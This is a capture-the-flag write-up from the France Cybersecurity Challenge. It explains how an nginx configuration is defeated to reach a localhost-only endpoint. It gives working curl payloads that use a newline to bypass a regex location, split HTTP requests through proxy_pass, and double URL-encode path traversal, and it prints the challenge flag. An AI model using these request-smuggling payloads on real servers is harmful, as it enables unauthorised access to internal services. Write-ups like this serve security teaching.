Follow the Rabbit
Resolution
For this challenge, we are provided with the following nginx configuration:
http {
charset utf-8;
access_log /dev/stdout combined;
error_log /dev/stdout debug;
upstream @deeper {
server 127.0.0.1:8082;
}
server {
listen 80;
server_name _;
location ~* ^(.*)$ {
return 200 "I'm late! I'm late! For a very important date!";
}
location / {
return 200 "Oh dear, oh dear! I shall be too late!";
}
location /deeper {
proxy_pass http://@deeper$uri$is_args$args;
}
}
server {
listen 8082;
server_name deeper;
include flags.conf;
location /deeper {
add_header X-Original-Path "$uri";
add_trailer X-Trailer "Coming to a nginx close to you" ;
return 200 "No time to say hello, goodbye! I'm late! I'm late! I'm late!";
}
location /deepest {
return 200 "$flag";
}
}
}
We can already tell that to reach the flag, we need to access the /deepest
endpoint, which is behind a reverse proxy.
It is impossible (for now) to get to this endpoint as a non-localhost source because it is only defined in the server block listening on port 8082, which is bound to localhost. In the server block listening on port 80, there is a location block for /deeper
that proxies requests to the deeper server running on localhost:8082
. However, the /deepest
endpoint is not reachable since requests must start with /deeper
to be accessed through this proxy.
Regex bypass
To start, we notice that trying to access the /deeper
page doesn’t work because the regular expression ^(.*)$
used in the first directive seems to catch all requests.
$ curl "http://localhost:8000/deeper"
I'm late! I'm late! For a very important date!
The documentation nginx confirms that the ~*
prefix indicates the use of a regex. Referring to regex101, we see that the regex matches everything except \n
.
We adjust our request accordingly and successfully bypass the first filter.
$ curl "http://localhost:8000/%0A/"
Oh dear, oh dear! I shall be too late!%
Proxy pass $URI
Now that we’ve reached the /
directive, we’ll try to access /deeper
. We know that our request must start with /deeper
to enter the directive, but we still need a \n
to bypass the initial regex. We observe in the docker logs that there are two requests, with one sent from localhost. This indicates that we are indeed passing through the /deeper
directive, but the request must be malformed since we don’t receive a response.
public-follow-the-rabbit-1 | 127.0.0.1 - - [29/Apr/2023:16:47:12 +0000] "GET /deeper" 200 60 "-" "-"
public-follow-the-rabbit-1 | 172.25.0.1 - - [29/Apr/2023:16:47:12 +0000] "GET /deeper%0A/ HTTP/1.1" 009 60 "-" "curl/8.0.1"
public-follow-the-rabbit-1 | 2023/04/29 16:47:12 [info] 30#30: *1 client 172.25.0.1 closed keepalive connection
We change the listening port from 8082 to 8083, then rebuild the Docker container with docker-compose down && docker-compose build && docker-compose up
, connect to it with a shell docker exec -it public-follow-the-rabbit-1 sh
and run netcat in listening mode.
# nc -lvnp 8082
GET /deeper
/ HTTP/1.0
Host: @deeper
Connection: close
User-Agent: curl/8.0.1
Accept: */*
We see that the \n
creates a new request, so all we need is a valid HTTP request as shown below.
Don’t forget (like I did) the two line returns to mark the end of the request.
GET /deeper HTTP/1.0\n
Host: localhost\n\n
We get a valid request with the payload /deeper%20HTTP/1.0%0AHost:%20localhost%0A%0AGET%20/
, which allows us to move on to the final step.
The end of the payload
GET%20/
is not necessary as we will not receive the response from the second request.
$ curl "http://localhost:8000/deeper%20HTTP/1.0%0AHost:%20localhost%0A%0AGET%20/"
GET /deeper HTTP/1.0
Host: localhost
GET / HTTP/1.0
Host: @deeper
Connection: close
User-Agent: curl/8.0.1
Accept: */*
Double encoding
There is an explanation that I deliberately left out in the previous section. Why did the line return create two requests instead of just one, as in the first step ?
This is due to the fact that the request is normalized, as stated in the documentation. Nginx interprets %XX
hexadecimal values.
We also learn that it decodes .
, ..
and /
.
The matching is performed against a normalized URI, after decoding the text encoded in the “%XX” form, resolving references to relative path components “.” and “..”, and possible compression of two or more adjacent slashes into a single slash.
We will use double URL encoding to get a payload as /deeper/../deepest
, which will only be interpreted as /deepest
once it gets through the proxy. For example, when nginx decodes the URL, it first decodes %25
as a percent sign (%
), and then decodes the remaining 2f
as a forward slash (/
).
The final request will be https://follow-the-rabbit.france-cybersecurity-challenge.fr/deeper%252F%252E%252E%252Fdeepest%20HTTP/1.0%0AHost:%20localhost%0A%0AGET%20/
Flag
FCSC{429706b083581875b3af87c239f3d42a44d39e63991c4a2a3f63cde5d86b1b23}